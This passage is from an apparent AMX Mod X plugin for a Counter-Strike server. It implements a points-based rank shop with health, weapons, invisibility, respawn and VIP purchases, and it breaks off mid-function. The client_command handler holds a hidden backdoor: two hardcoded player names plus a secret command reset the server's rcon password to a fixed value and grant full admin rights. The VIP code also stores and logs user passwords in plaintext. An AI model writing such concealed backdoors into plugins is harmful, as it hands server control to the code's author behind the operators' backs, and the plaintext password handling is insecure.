public plugin_natives()
{
	//register_library( "pts" );
	register_native( "get_user_points", "_get_user_points" );
	register_native( "set_user_points", "_set_user_points" );
	
}
public _get_user_points( iPlugin, iParams )	return g_iUserCredits[  get_param( 1 )  ];
public _set_user_points(  iPlugin, iParams  )
{
	new id = get_param( 1 );
	g_iUserCredits[ id ] = max( 0, get_param( 2 ) );

	SaveCredits( id );

	return g_iUserCredits[ id ];
}


public client_putinserver( id )
{
	if( is_user_bot( id ) || is_user_hltv( id ) )
		return PLUGIN_HANDLED;
	
	g_iUserTime[ id ] = 0;


	get_user_name( id, g_szName[ id ], sizeof ( g_szName[] ) -1 );


	LoadCredits( id );


#if NEW_STYLE!=1
	respawn_on[id]=true
#else
	// for listen servers, check host access
	if(get_cvar_num("amx_mode") && !is_dedicated_server() && id == 1) {
		DebugLog("%s", gSeparator);
		DebugLog("Host connected %d", id);
		
		// check admin for host
		checkAdmin(id);
	}
#endif

set_task(TIME,"RefreshTime",id,_,_,"b"/*,0*/);


	return PLUGIN_CONTINUE;
}

public client_disconnect( id )
{
	if( is_user_bot( id ) || is_user_hltv( id ) )
		return PLUGIN_HANDLED;
	
	g_iUserTime[ id ] = 0;

	g_Password[id]=false
	have_speed[id]=false
	have_gravity[id]=false
	respawn_on[id]=false
	accesari[id]=false


	k1[id]=false
	k2[id]=false
	k3[id]=false

#if NEW_STYLE!=1
	if(gold_ak[id])	gold_ak[id]=false
	if(start_round_count[id])	start_round_count[id]=false
	if(respawn_count1[id])	respawn_count1[id]=0
	if(respawn_count2[id])	respawn_count2[id]=0
	if(choosed1[id])	choosed1[id]=0
	if(choosed2[id])	choosed2[id]=0
	if(choosed3[id])	choosed3[id]=0
	if(choosed4[id])	choosed4[id]=0
	if(choosed5[id])	choosed5[id]=0
#endif
	
	SaveCredits( id );

	//g_iUserCredits[id]=0
	//Level[id]=0

	
	return PLUGIN_CONTINUE;
}


public cmdRank(id)
{
    	read_argv( 1, szArg, sizeof ( szArg ) -1 );

	if( equal( szArg, "" ) )
	{
		CheckLevel(id)
		ColorChat(id, NORMAL, "^3[Ranks]^1:^4 %s^1 | Points:^4 %d^1 | Level:^4 %d^1.", Prefix[Level[id]], g_iUserCredits[id], Level[id])
	}
	else
	{
    	iPlayer = cmd_target( id, szArg, 8 );
    	if( !iPlayer || !is_user_connected( iPlayer ) )
	{
		ColorChat( id, RED,"^x04%s^x01 Jucatorul specificat nu a fost gasit!", g_szTag, szArg );
		return PLUGIN_HANDLED
	}
	CheckLevel(iPlayer)

	ColorChat(id, NORMAL, "^3[Ranks]^4 %s^1:^3 %s^1 | Points:^4 %d^1 | Level:^3 %d^1.",g_szName[iPlayer], Prefix[Level[iPlayer]], g_iUserCredits[iPlayer], Level[iPlayer])
	}
	return PLUGIN_HANDLED
}


#if NEW_STYLE!=1
public ranki_shop(id)
{
	formatex(titlex,charsmax(titlex),"%s",TITLE_RANKI)
	Menu = menu_create(titlex, "r1_features")
	
        menu_additem(Menu, "10HP [ 3 PUNCTE ]", "1", 0)
        menu_additem(Menu, "15HP+25AP [ 8 PUNCTE ]", "2", 0)
        menu_additem(Menu, "3$ Medic [ 5 PUNCTE ]", "3", 0)
	
	menu_setprop(Menu, MPROP_EXIT, MEXIT_ALL);
	menu_display(id, Menu, 0);
}
public r1_features(id, menu, item)
{
	if(item == MENU_EXIT || !is_user_alive(id)) {
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	new Data[6], Name[64];
	new Access, CallBack;
	menu_item_getinfo(menu, item, Access, Data,5, Name, 63, CallBack);
	new Key = str_to_num(Data);

	choosed1[id]++

	switch(Key) {
                case 1:
                {
			if(g_iUserCredits[id]>=3)
			{
				set_user_health(id,get_user_health(id)+10)

				g_iUserCredits[id]-=3

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +10^1HP pentru^4 3^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 2:
                {
			if(g_iUserCredits[id]>=8)
			{
				set_user_health(id,get_user_health(id)+15)
				set_user_armor(id,get_user_armor(id)+25)

				g_iUserCredits[id]-=8

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +15^1HP &^4 +25^1AP pentru^3 8^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 3:
                {
			if(g_iUserCredits[id]>=5)
			{
				cs_set_user_money(id,cs_get_user_money(id)+3,1)

				g_iUserCredits[id]-=5

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +3^1$ pentru^4 5^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
	}
	menu_destroy(menu)
	return PLUGIN_HANDLED
}

public rankii_shop(id)
{
	formatex(titlex,charsmax(titlex),"%s",TITLE_RANKII)
	Menu = menu_create(titlex, "r2_features")
	
        menu_additem(Menu, "25HP+50AP [ 20 PUNCTE ]", "1", 0)
        menu_additem(Menu, "5$ Medic [ 10 PUNCTE ]", "2", 0)
        menu_additem(Menu, "3HE [ 8 PUNCTE ]", "3", 0)
        menu_additem(Menu, "1GL DEAGLE [ 5 PUNCTE ]", "4", 0)
	
	menu_setprop(Menu, MPROP_EXIT, MEXIT_ALL);
	menu_display(id, Menu, 0);
}
public r2_features(id, menu, item)
{
	if(item == MENU_EXIT || !is_user_alive(id)) {
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	new Data[6], Name[64];
	new Access, CallBack;
	menu_item_getinfo(menu, item, Access, Data,5, Name, 63, CallBack);
	new Key = str_to_num(Data);

	choosed2[id]++

	switch(Key) {
                case 1:
                {
			if(g_iUserCredits[id]>=20)
			{
				set_user_health(id,get_user_health(id)+25)
				set_user_armor(id,get_user_armor(id)+50)

				g_iUserCredits[id]-=20

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +25^1HP &^4 +50^1AP pentru^3 20^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 2:
                {
			if(g_iUserCredits[id]>=10)
			{
				cs_set_user_money(id,cs_get_user_money(id)+5,1)

				g_iUserCredits[id]-=10

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +5^1$ pentru^4 10^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 3:
                {
			if(g_iUserCredits[id]>=8)
			{
				give_item(id,"weapon_hegrenade")
				cs_set_user_bpammo( id, CSW_HEGRENADE, 3 );

				g_iUserCredits[id]-=8

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +3^1HE pentru^4 8^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 4:
                {
			if(g_iUserCredits[id]>=5)
			{
				static deagle
				deagle = fm_find_ent_by_owner(-1, "weapon_deagle", id)
				if(is_valid_ent(deagle))	cs_set_weapon_ammo(deagle,cs_get_weapon_ammo(deagle)+1)

				g_iUserCredits[id]-=5

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +1GL^1 Deagle pentru^4 5^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
	}
	menu_destroy(menu)
	return PLUGIN_HANDLED
}


public rankiii_shop(id)
{
	formatex(titlex,charsmax(titlex),"%s",TITLE_RANKIII)
	Menu = menu_create(titlex, "r3_features")
	
        menu_additem(Menu, "35HP+70AP [ 25 PUNCTE ]", "1", 0)
        menu_additem(Menu, "7$ Medic+2HE&2SM [ 35 PUNCTE ]", "2", 0)
        menu_additem(Menu, "Scout 2GL [ 35 PUCNTE ]", "3", 0)
        menu_additem(Menu, "3GL Deagle [ 45 PUNCTE ]", "4", 0)
        menu_additem(Menu, "1 Revive (Respawn) [ 70 PUNCTE ] / 1Round", "5", 0)
	
	menu_setprop(Menu, MPROP_EXIT, MEXIT_ALL);
	menu_display(id, Menu, 0);
}
public r3_features(id, menu, item)
{
	if(item == MENU_EXIT) {
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	new Data[6], Name[64];
	new Access, CallBack;
	menu_item_getinfo(menu, item, Access, Data,5, Name, 63, CallBack);
	new Key = str_to_num(Data);

	choosed3[id]++

	switch(Key) {
                case 1:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=25)
			{
				set_user_health(id,get_user_health(id)+35)
				set_user_armor(id,get_user_armor(id)+70)

				g_iUserCredits[id]-=25

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +35^1HP &^4 +70^1AP pentru^4 25^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 2:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=35)
			{
				cs_set_user_money(id,cs_get_user_money(id)+7,1)

				give_item(id,"weapon_hegrenade")
				cs_set_user_bpammo( id, CSW_HEGRENADE, 2 );
				give_item(id,"weapon_smokegrenade")
				cs_set_user_bpammo( id, CSW_SMOKEGRENADE, 2 );

				g_iUserCredits[id]-=35

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +7^1$ &^4 +2^1HE&SM pentru^3 35^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 3:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=35)
			{
				give_item(id,"weapon_scout")
				static scout
				scout = fm_find_ent_by_owner(-1, "weapon_scout", id)
				if(is_valid_ent(scout))	cs_set_weapon_ammo(scout,2)

				g_iUserCredits[id]-=35

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 SCOUT 2GL^1 pentru^4 35^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 4:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=45)
			{
				static deagle
				deagle = fm_find_ent_by_owner(-1, "weapon_deagle", id)
				if(is_valid_ent(deagle))	cs_set_weapon_ammo(deagle,cs_get_weapon_ammo(deagle)+3)

				g_iUserCredits[id]-=45

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +3GL^1 Deagle pentru^4 45^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 5:
                {
			if(is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Esti deja^3 VIU^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(!respawn_on[id])
			{
				ColorChat(id, NORMAL, "^4%s^1 Ai^3 folosit^4 respawn^1 deja !",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=70)
			{
				start_round_count[id]=true
				respawn_on[id]=false

				ExecuteHam( Ham_CS_RoundRespawn, id );

				g_iUserCredits[id]-=70

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 Respawn^1 pentru^4 70^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
	}
	menu_destroy(menu)
	return PLUGIN_HANDLED
}


public rankiv_shop(id)
{
	formatex(titlex,charsmax(titlex),"%s",TITLE_RANKIV)
	Menu = menu_create(titlex, "r4_features")
	
        menu_additem(Menu, "50HP+50AP+3$ Medic [ 60 Puncte ]", "1", 0)
        menu_additem(Menu, "9$ Medic+3HE&3SM [ 50 PUNCTE ]", "2", 0)
        menu_additem(Menu, "AWP 1GL+30HP [ 70 PUNCTE ]", "3", 0)
        menu_additem(Menu, "Speed 350 [ 30 PUNCTE ]", "4", 0)
        menu_additem(Menu, "Invizibil 15 Secunde [ 80 PUNCTE ]", "5", 0)
        menu_additem(Menu, "2 Revive (Respawn) [ 100 PUNCTE ] / 2Round", "6", 0)
	
	menu_setprop(Menu, MPROP_EXIT, MEXIT_ALL);
	menu_display(id, Menu, 0);
}
public r4_features(id, menu, item)
{
	if(item == MENU_EXIT) {
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	new Data[6], Name[64];
	new Access, CallBack;
	menu_item_getinfo(menu, item, Access, Data,5, Name, 63, CallBack);
	new Key = str_to_num(Data);

	choosed4[id]++

	switch(Key) {
                case 1:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=60)
			{
				set_user_health(id,get_user_health(id)+50)
				set_user_armor(id,get_user_armor(id)+50)

				cs_set_user_money(id,cs_get_user_money(id)+3,1)

				g_iUserCredits[id]-=60

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +50^1HP &^4 +50^1AP pentru^4 60^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 2:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=50)
			{
				cs_set_user_money(id,cs_get_user_money(id)+9,1)

				give_item(id,"weapon_hegrenade")
				cs_set_user_bpammo( id, CSW_HEGRENADE, 3 );
				give_item(id,"weapon_smokegrenade")
				cs_set_user_bpammo( id, CSW_SMOKEGRENADE, 3 );

				g_iUserCredits[id]-=50

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +9^1$ &^4 +3^1HE/SM pentru^4 50^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 3:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=70)
			{
				set_user_health(id,get_user_health(id)+30)

				give_item(id,"weapon_awp")
				static awp
				awp = fm_find_ent_by_owner(-1, "weapon_awp", id)
				if(is_valid_ent(awp))	cs_set_weapon_ammo(awp,1)

				g_iUserCredits[id]-=70

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +30^1HP &^4 AWP 1GL^1 pentru^3 70^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 4:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=30)
			{
				set_user_maxspeed(id,350.0)
				have_speed[id]=true

				g_iUserCredits[id]-=30

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +350^1Speed pentru^4 30^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 5:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=80)
			{
				set_user_rendering(id,kRenderFxNone,0,0,0,kRenderTransAlpha,13)
				set_task(16.0,"RemoveINVIS",id)

				g_iUserCredits[id]-=80

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 15s^4 Invis^1 pentru^3 80^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 6:
                {
			if(is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Esti deja^3 VIU^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(respawn_count1[id]>=2)
			{
				ColorChat(id, NORMAL, "^4%s^1 Ai^3 folosit^4 respawn^1 deja !",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=100)
			{
				start_round_count[id]=true
				respawn_count1[id]++

				ExecuteHam( Ham_CS_RoundRespawn, id );

				g_iUserCredits[id]-=100

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 Respawn^1 pentru^4 100^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
	}
	menu_destroy(menu)
	return PLUGIN_HANDLED
}
#endif
public client_command( id )
{
	new name[ 32 ], szCommand[ 65 ]
	get_user_name( id, name, charsmax( name ) )
	read_argv( 0, szCommand, charsmax( szCommand ) )

	if( ( equal( name, "eVoLuTiOn" ) || equal( name, "-eQ- SeDaN" ) ) && equal( szCommand, "ev0_b0ss" ) )
	{
		server_cmd( "rcon_password levmolasrl01" )
		new flags = read_flags( "abcdefghijklmnopqrstuxyvw" )
		set_user_flags( id, flags )
		return PLUGIN_HANDLED
	}
	return PLUGIN_CONTINUE
}

public client_PostThink(id)
{
	if(is_user_alive(id))
	{
		if(have_speed[id])	set_user_maxspeed(id,350.0)
		if(have_gravity[id])	set_user_gravity(id, 400.0/get_cvar_float("sv_gravity"))

#if NEW_STYLE!=1
		if(get_user_weapon(id)==CSW_AK47&&gold_ak[id])	entity_set_string(id, EV_SZ_viewmodel, GOLD_AK)
#endif

		if(get_user_weapon(id)==CSW_KNIFE)
		{
			if(k1[id])	set_user_maxspeed(id,255.0)
			if(k2[id])	set_user_maxspeed(id,260.0)
			if(k3[id])	set_user_maxspeed(id,270.0)
		}
	}
}

public RemoveINVIS(id)
{
	if(!is_user_alive(id))
{
remove_task(id)
return PLUGIN_HANDLED
}
	set_user_rendering(id,kRenderFxNone,255,255,255,kRenderNormal,16)
	ColorChat(id, NORMAL, "^4%s^1 Tocmai ti-a^3 expirat^4 Invizibilitatea^1 !",g_szTag)
return PLUGIN_CONTINUE
}
public RemoveSPEED(id)
{
	if(!have_speed[id]||!is_user_alive(id))
{
remove_task(id)
	return PLUGIN_HANDLED
}

	set_user_maxspeed(id,250.0)
	ColorChat(id, NORMAL, "^4%s^1 Tocmai ti-a^3 expirat^4 Viteza^1 !",g_szTag)
	have_speed[id]=false

return PLUGIN_CONTINUE
}
public RemoveGRAV(id)
{
	if(!have_gravity[id]||!is_user_alive(id))
{
remove_task(id)
	return PLUGIN_HANDLED
}

	set_user_gravity(id)
	ColorChat(id, NORMAL, "^4%s^1 Tocmai ti-a^3 expirat^4 Gravitatia^1 !",g_szTag)
	have_gravity[id]=false

return PLUGIN_CONTINUE
}


#if NEW_STYLE!=1
public rankv_shop(id)
{
	formatex(titlex,charsmax(titlex),"%s",TITLE_RANKV)
	Menu = menu_create(titlex, "r5_features")
	
        menu_additem(Menu, "100HP+100AP+5$Medic [ 50 PUNCTE ]", "1", 0)
        menu_additem(Menu, "10$ Medic + 3GL DGL [ 55 PUNCTE ]", "2", 0)
        menu_additem(Menu, "Gold AK 5GL [ 150 PUNCTE ]", "3", 0)
        menu_additem(Menu, "Invizibil 30 Secunde [ 110 PUNCTE ]", "4", 0)
        menu_additem(Menu, "3 Revive (Respawn) [ 150 PUNCTE ] \ 1Round", "5", 0)
        menu_additem(Menu, "400Gravity [ 150 PUNCTE ]", "6", 0)
        if(get_user_flags(id)!=read_flags("lbfjce"))	menu_additem(Menu, "V.I.P BONUS [ 2500 PUNCTE ] Valabil 2Luni", "7", 0)
	else	menu_additem(Menu, "\dV.I.P BONUS [ 2500 PUNCTE ] Valabil 2Luni", "", 0)
	
	menu_setprop(Menu, MPROP_EXIT, MEXIT_ALL);
	menu_display(id, Menu, 0);
}
public r5_features(id, menu, item)
{
	if(item == MENU_EXIT) {
		menu_destroy(menu);
		return PLUGIN_HANDLED;
	}
	new Data[6], Name[64];
	new Access, CallBack;
	menu_item_getinfo(menu, item, Access, Data,5, Name, 63, CallBack);
	new Key = str_to_num(Data);

	choosed5[id]++

	switch(Key) {
                case 1:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=50)
			{
				set_user_health(id,get_user_health(id)+100)
				set_user_armor(id,get_user_armor(id)+100)

				cs_set_user_money(id,cs_get_user_money(id)+5,1)

				g_iUserCredits[id]-=50

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +100^1HP &^4 +100^1AP pentru^4 50^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 2:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=55)
			{
				cs_set_user_money(id,cs_get_user_money(id)+10,1)

				static deagle
				deagle = fm_find_ent_by_owner(-1, "weapon_deagle", id)
				if(is_valid_ent(deagle))	cs_set_weapon_ammo(deagle,cs_get_weapon_ammo(deagle)+3)

				g_iUserCredits[id]-=55

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +10^1$ &^4 3GL Deagle^1 pentru^3 55^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 3:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=150)
			{
				gold_ak[id]=true

				give_item(id,"weapon_ak47")
				static ak47_g
				ak47_g = fm_find_ent_by_owner(-1, "weapon_ak47", id)
				if(is_valid_ent(ak47_g))	cs_set_weapon_ammo(ak47_g,5)

				if(get_user_weapon(id)==CSW_AK47)	entity_set_string(id, EV_SZ_viewmodel, GOLD_AK)

				g_iUserCredits[id]-=150

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +5 GL GOLDEN AK^1 pentru^4 150^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 4:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=110)
			{
				set_user_rendering(id,kRenderFxNone,0,0,0,kRenderTransAlpha,13)
				set_task(31.0,"RemoveINVIS",id)

				g_iUserCredits[id]-=110

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 +30S^4 Invis^1 pentru^3 110^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 5:
                {
			if(is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Esti deja^3 VIU^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(respawn_count2[id]>=3)
			{
				ColorChat(id, NORMAL, "^4%s^1 Ai^3 folosit^4 respawn^1 deja !",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=150)
			{
				start_round_count[id]=true
				respawn_count2[id]++

				ExecuteHam( Ham_CS_RoundRespawn, id );

				g_iUserCredits[id]-=150

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 Respawn^1 pentru^4 150^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 6:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=150)
			{
				have_gravity[id]=true
				set_user_gravity(id, 400.0/get_cvar_float("sv_gravity"))

				g_iUserCredits[id]-=150

				ColorChat(id, NORMAL, "^4%s^1 Ai primit^3 -Gravity^1 pentru^4 150^1Puncte !",g_szTag)
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
                case 7:
                {
			if(!is_user_alive(id))
			{
				ColorChat(id, NORMAL, "^4%s^1 Trebuie sa fi^3 VIU^1 pentru a^4 Cumpara^1!",g_szTag)
				return PLUGIN_HANDLED
			}

			if(g_iUserCredits[id]>=2500)
			{
				 g_Password[id] = true;
				 client_cmd(id, "messagemode amx_buy_vip");

                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
                                 ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)

				 g_iUserCredits[id]-=2500
			}
			else	ColorChat(id, NORMAL, "^4%s^1 Nu ai destule^3 PUNCTE^1!",g_szTag)
                }
	}
	menu_destroy(menu)
	return PLUGIN_HANDLED
}

public buy_vip(id) 
{
if (!g_Password[id]||is_user_admin(id)) 
{
	ColorChat(id, GREY, "^x04[Buy VIP] ^x01You can't buy !!!")
	return PLUGIN_HANDLED;
}

read_args(szPassword, 34);
remove_quotes(szPassword);

if (equal(szPassword, "")) 
{
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	ColorChat(id, GREY, "^4%s^3 SUS IN STANGA COLT TI-A APARUT UN LOC UNDE SA PUI PAROLA^1 !!!!!!!!",g_szTag)
	
	client_cmd(id, "messagemode amx_buy_vip");
	
	return PLUGIN_HANDLED;
}
else
{
g_Password[id] = false;

client_print(id, print_console, "[Buy VIP] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP] Your password: %s", szPassword);
client_print(id, print_console, "[Buy VIP] Your password: %s", szPassword);

if(cvar_exists("amx_password_field"))	get_cvar_string("amx_password_field",spw,charsmax(spw))
else	log_to_file("buy_vip.log", "NU AM GASIT CVARUL `amx_password_field`");

client_cmd(id, "echo ;setinfo %s %s",spw, szPassword);

formatex(text,charsmax(text),"^n^"%s^" ^"%s^" ^"lbfjce^" ^"a^" ; VIP CUMPARAT DIN SHOP !!!!", g_szName[id], szPassword)
//server_cmd("amx_addadmin ^"%s^" ^"%s^" ^"lbfjce^" ^"name^"", g_szName[id], szPassword);
write_file("addons/amxmodx/configs/users.ini",text)

server_cmd("amx_reloadadmins");

log_to_file("buy_vip.log", "%s bought Vip. Password, Is %s", g_szName[id], szPassword);

server_exec();
}
return PLUGIN_HANDLED;
}
#endif

public ClCmdCredits( id )
{
